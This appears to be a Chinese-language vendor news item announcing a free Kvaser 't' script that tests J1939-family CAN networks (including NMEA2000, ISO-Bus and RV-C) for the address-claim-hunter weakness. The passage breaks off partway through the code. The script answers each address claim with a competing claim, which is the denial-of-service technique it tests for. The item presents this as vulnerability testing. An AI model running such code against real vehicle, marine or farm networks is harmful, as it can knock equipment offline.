新闻资讯

27/08/2024 作者 Kvaser

t脚本于监测SAE J1939、NMEA2000、ISO11783和RV-C网络中的地址声明漏洞

Warwick Control Technologies免费提供了一个脚本,用于测试基于SAE J1939的网络是否容易受到来自潜在恶意设备的地址声明猎人算法攻击。该脚本使用Kvaser的实时脚本语言(简称为“t”脚本)开发,可在所有Kvaser专业级CAN通讯卡上运行。

Warwick Control Technologies总经理Chris Quigley博士去年在《CAN in Automation》(CiA)杂志上发表了一篇论文探讨了这一弱点。该弱点也可能影响NMEA2000、ISO11783 (ISO-Bus)和RV-C网络。他的目的是提醒人们关注该问题并提出缓解策略。

基于SAE J1939的协议的一大优势是其“即插即用”的特性,用户只需进行很少的设置。通过自配置地址机制,每个新设备都能动态声明一个唯一地址。如果设备无法申请唯一地址,则会发送“无法声明地址”报文并停止网络通信。虽然该功能提供了灵活性,但也使设备容易受到地址声明猎人的攻击,从而可能导致拒绝服务(DoS),使许多设备甚至整个网络瘫痪。

t脚本示例见下文。请阅读Chris的论文,了解关于如何保护受影响网络的建议,或直接联系Warwick Control获取更多信息。

variables {
  const int channel_1 = 0;
  int   length;
  int   ID;
  int   PGN;
  int   Src;
  int   NumAddClaims = 0;
  byte  AddClmRxdflag = 0;
}

on start {
  canBusOff(channel_1);
  canSetBitrate(channel_1, canBITRATE_250K);
  canSetBusOutputControl(channel_1, canDRIVER_NORMAL);
  canBusOn(channel_1);

  printf ("Started\n");
}

on CanMessage [*] {
    CanMessage msg;
    int i;
  
    ID =  this.id;
    Src = this.id & 0xff;
    PGN = (this.id & 0xffff00) >> 8; 

    if(  (0xeeff == PGN) )
    {
      if(0 == AddClmRxdflag)
      {
          AddClmRxdflag = 1;
        
          printf ("Address Claim Received\n");
      }
    
      msg.id    = (0x18EEFF00 | Src);  
      msg.dlc   = 8;     
      msg.flags = canMSG_EXT;     

      // load data field with zeroes
      for(i = 0; i<